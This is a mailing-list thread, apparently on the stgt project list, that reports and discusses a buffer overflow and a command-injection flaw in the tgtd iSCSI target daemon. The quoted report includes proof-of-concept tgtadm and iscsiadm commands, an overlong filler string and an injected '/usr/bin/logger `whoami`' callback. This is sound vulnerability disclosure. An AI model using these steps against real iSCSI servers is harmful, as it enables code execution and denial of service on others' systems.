Hi, There is no patch because I'm a bit confused as to what the proper functionality is suppose to be. Typically a client/server model does not allow the client to inject arbitrary commands to the server. This is because a compromised client may further compromise the server by injecting malicious commands. Is the intent here to allow the client (tgtadmn) to inject arbitrary commands to the server (tgtd)? Additionally though, when str_spacecpy is called, the dest can be smaller than the src because the src can be 1024 bytes while the dest is set to 256 bytes causing a stack overflow and possible code execution and/or a denial of service. Thanks, Jason Hullinger On 6/12/14, 7:27 PM, "Hitoshi Mitake" <mitake.hitoshi@xxxxxxxxx> wrote: >At Tue, 10 Jun 2014 19:17:35 +0000, >Hullinger, Jason (Cloud Services) wrote: >> >> TGT Team: >> >> The function call_program in the tgtd daemon includes a callback >>function >> that will run arbitrary commands. Additionally, it does not check that >>the >> cmd argument is smaller than the allocated buffer size causing a buffer >> overflow. Example and proof of concept: >> >> usr/tgtd.c >> >> int call_program(const char *cmd, void (*callback)(void *data, int >>result), >> void *data, char *output, int op_len, int flags) >> ... >> char *pos, arg[256]; >> ... >> str_spacecpy(&pos, cmd); >> >> Where str_spacecpy (usr/tgtd.c) chops multiple white spaces into one >>white >> space. It takes a dest buffer and copies into a src buffer: >> >> void str_spacecpy(char **dest, const char *src) >> >> call_program is called from usr/target.c in get_redirect_address >> >> static int >> get_redirect_address(char *callback, char *buffer, int buflen, >> char **address, char **ip_port, int *rsn) >> ... >> if (call_program(callback, NULL, NULL, buffer, buflen, 0)) >> ... >> >> Where get_redirect_address is called from usr/target.c by: >> >> int target_redirected(struct iscsi_target *target, >> struct iscsi_connection *conn, char *buf, int *reason) >> ... >> char dst[INET6_ADDRSTRLEN], in_buf[1024]; >> ... >> ret = get_redirect_address(in_buf, buffer, >> sizeof(buffer), &addr, &port, &rsn); >> ... >> >> in_buf, size 1024, is passed to call_program as 'cmd', which then copies >> into the dest char buffer of size 256 causing a buffer overflow. >> >> In addition to that, any arbitrary command line argument that is pass in >> by tgtadm will be executed. Example: >> >> sudo tgtd -C 1 --iscsi portal=127.0.0.1:860 >> sudo ./scripts/tgt-admin -C 1 -e -c /home/ubuntu/tgt/targets.confg >> >> (in a different shell) sudo gdb --args tgtd -f -C 2 --iscsi >> portal=127.0.0.1 >> sudo ./scripts/tgt-admin -C 2 -e -c /home/ubuntu/tgt/targets.confg >> >> sudo tgtadm -C 2 --op update --mode target --tid 1 --name >>RedirectAddress >> --value 127.0.0.1 >> sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectPort >> --value 860 >> sudo tgtadm -C 2 --op update --mode target --tid 1 --name RedirectReason >> --value Temporary >> >> sudo tgtadm -C 2 --op update --mode target --tid 1 --name >>RedirectCallback >> --value >> >>1zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz >>zz >> >>zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz >>zz >> >>zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz >>zz >> >>zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz >>zz >> >>zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz >>zz >> >>zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz >>zz >> zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz >> >> sudo iscsiadm -m discovery -t st -p 127.0.0.1 >> sudo iscsiadm -m node -p 127.0.0.1 -l >> >> Upon attempting to authenticate, the command set by the --name >> RedirectCallback --value tgtadm directive will attempt to be executed. >>If >> you replace the above example with: >> >> sudo tgtadm -C 2 --op update --mode target --tid 1 --name >>RedirectCallback >> --value "/usr/bin/logger `whoami`" >> >> You will see in the syslog file, where 'ubuntu' is the current user: >> >> ubuntu iqn.2014-05.local.localhost:foobar 127.0.0.1 >> >> I'm a bit unclear as to what exactly is suppose to happen here, or what >> the intended result is, but it seems that arbitrary commands should not >>be >> allowed to be injected from tgtadm in addition to checking the strlen of >> cmd. >> >> Thanks, and let me know if I can answer or clarify any questions. > >I'm still not digging in the problem, but it seems to be very >important. I added a new issue in the launchpad tracker: > >https://bugs.launchpad.net/tgt-project/+bug/1329586 > >I'd like to fix it when I can allocate time for it, or have you >already created a patch for it? > >Thanks, >Hitoshi > >> >> Jason Hullinger >> >> Security Architect >> HP Helion Cloud >> >> -- >> To unsubscribe from this list: send the line "unsubscribe stgt" in >> the body of a message to majordomo@xxxxxxxxxxxxxxx >> More majordomo info at http://vger.kernel.org/majordomo-info.html
Attachment:
smime.p7s
Description: S/MIME cryptographic signature
